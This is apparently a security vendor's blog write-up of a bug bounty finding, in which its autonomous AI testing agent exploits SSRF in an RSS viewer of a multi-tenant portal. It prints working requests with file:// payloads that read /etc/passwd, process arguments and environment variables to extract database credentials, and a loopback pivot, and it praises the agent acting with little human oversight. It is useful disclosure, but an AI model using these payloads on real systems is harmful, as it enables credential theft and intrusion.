When an SSRF in an RSS Reader Becomes a Master Key
Security Research Team, Sayaan Alam
June 7, 2026
As we build Shax, our autonomous AI-powered security testing agent, we continuously test it against real targets on international bug bounty platforms. During one of these runs, we pointed Shax at a multi-tenant enterprise portal and it extracted per-customer database credentials through a single overlooked endpoint. One vulnerability, five compromised tenants.
Overview of the target
The platform under test was a multi-tenant enterprise portal serving five customer organizations, each on its own branded subdomain under .redacted.com. The program scope was a wildcard across .redacted.com, covering all five tenants. All five tenants share the same vendor code, so a single vulnerability is inherited by every customer.
Reconnaissance
Shax began by fingerprinting the target stack through response headers, static paths, and JavaScript bundles served to authenticated users:
- Backend: custom enterprise portal framework on Python 2.7
- Frontend: ExtJS 4.2 SPA, jQuery 2.1.3, Bootstrap
- Deployment: Kubernetes cluster
The JavaScript bundles exposed the routing convention used by every endpoint: POST /<namespace>/<action>, with namespaces split across roughly two dozen functional areas. Bundle analysis surfaced 375 unique endpoints across the five subdomains.
One endpoint stood out for SSRF behaviour: POST /<...>/rssviewer/getFeedData, an authenticated endpoint taking a single JSON parameter (feed). It's an RSS reader, so fetching arbitrary URLs is its documented purpose.
Probing the RSS viewer
Shax sent the first payload to confirm server-side fetch behaviour:
POST /[...]/rssviewer/getFeedData HTTP/1.1
Host: [REDACTED].redacted.com
Cookie: ploff="https://[REDACTED].redacted.com/"; l="[SESSION]"
Content-Type: application/json
{"feed": "<https://shax.webhook/><token>"}Shax received a request from Python-urllib/2.7, confirming a server-side fetch. ThePOST response included the rendered HTML from shax.webhook itself, proving the endpoint not only fetched the URL but also returned the response body.
Shax then tested protocol handling by switching to the file:/// scheme:
Request
POST /[...]/rssviewer/getFeedData HTTP/1.1
Host: [REDACTED].redacted.com
Cookie: ploff="https://[REDACTED].redacted.com/"; l="[SESSION]"
Content-Type: application/json
{"feed": "file:///etc/passwd"}Response
HTTP/1.1 200 OK
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
sr:x:1000:1000::/home/sr:/bin/bash
[...truncated...]The contents of /etc/passwd returned in the response body with no filter, no error, no content-type wrapping. The endpoint accepted file:// and processed it identically to http:// .
Shax then escalated from file read to credential extraction. The next payload targeted process inspection, a standard escalation on Python deployments where command-line arguments often contain configuration:
Request
POST /[...]/rssviewer/getFeedData HTTP/1.1
Host: [REDACTED].redacted.com
Cookie: [REDACTED]="..."; l="[SESSION]"
Content-Type: application/json
{"feed": "file:///proc/self/cmdline"}Response
HTTP/1.1 200 OK
python -m core.h5server.h5server -p 8080 -d mysql://[user]:[REDACTED]@mysql-mysql-master/[db] h5serverThe application's process arguments were returned in full, including a MySQL connection string passed as a -d flag: username, password, host, and database name in plaintext. The credentials addressed a MySQL master with a database called control, hosted on an internal Kubernetes service.
Shax then used the arbitrary file:// read to enumerate the rest of the pod's filesystem. 13 distinct files were extracted from a single tenant's environment, with the highest-value reads being /etc/mysql/my.cnf and /proc/self/environ (4,331 bytes of environment variables, including SMTP credentials). The remaining reads covered standard recon files (/etc/passwd, /etc/hosts, /proc/version, and similar) and disclosed the Kubernetes namespace, the pod's internal IP, and the cluster DNS resolver. A final payload pivoted from arbitrary file read to internal network access.
Request
POST /[...]/rssviewer/getFeedData HTTP/1.1
Host: [REDACTED].redacted.com
Cookie: ploff="..."; l="[SESSION]"
Content-Type: application/json
{"feed": "<http://127.0.0.1:8080/>"}The response contained 201 bytes of HTML belonging to the platform’s internal SAML authentication service, bound to loopback and not exposed externally. The RSS viewer was now functioning as a request proxy into the pod’s internal trust zone.
Shax then executed the same payload chain against the other four tenant subdomains. Four of the five returned identical results, with credentials specific to each tenant. The fifth accepted the payloads but rejected the request at the authentication layer, blocking confirmation but not the underlying vulnerability.
No scheme allowlist. No IP-range filter. No host-based check. A remote RSS feed and a local password file were equivalent resources.
The power of autonomous testing
Shax discovered this critical security finding on its own, demonstrating true autonomous intelligence from start to finish. It began by exploring the system, testing hundreds of connections to uncover a deeply hidden weakness.
From there, Shax adapted in real time. Rather than following a rigid checklist, it analyzed every response and used logical reasoning to decide its next move. It then verified its own work by repeating the process across five different environments to confirm the true impact. The entire process was fully independent; human involvement was strictly limited to a final review before the finding was submitted.
Get human-level offensive security at machine speed
Receive validated, documented results in days—not weeks. Powered by Shax, Nua’s autonomous AI penetration testing agent.





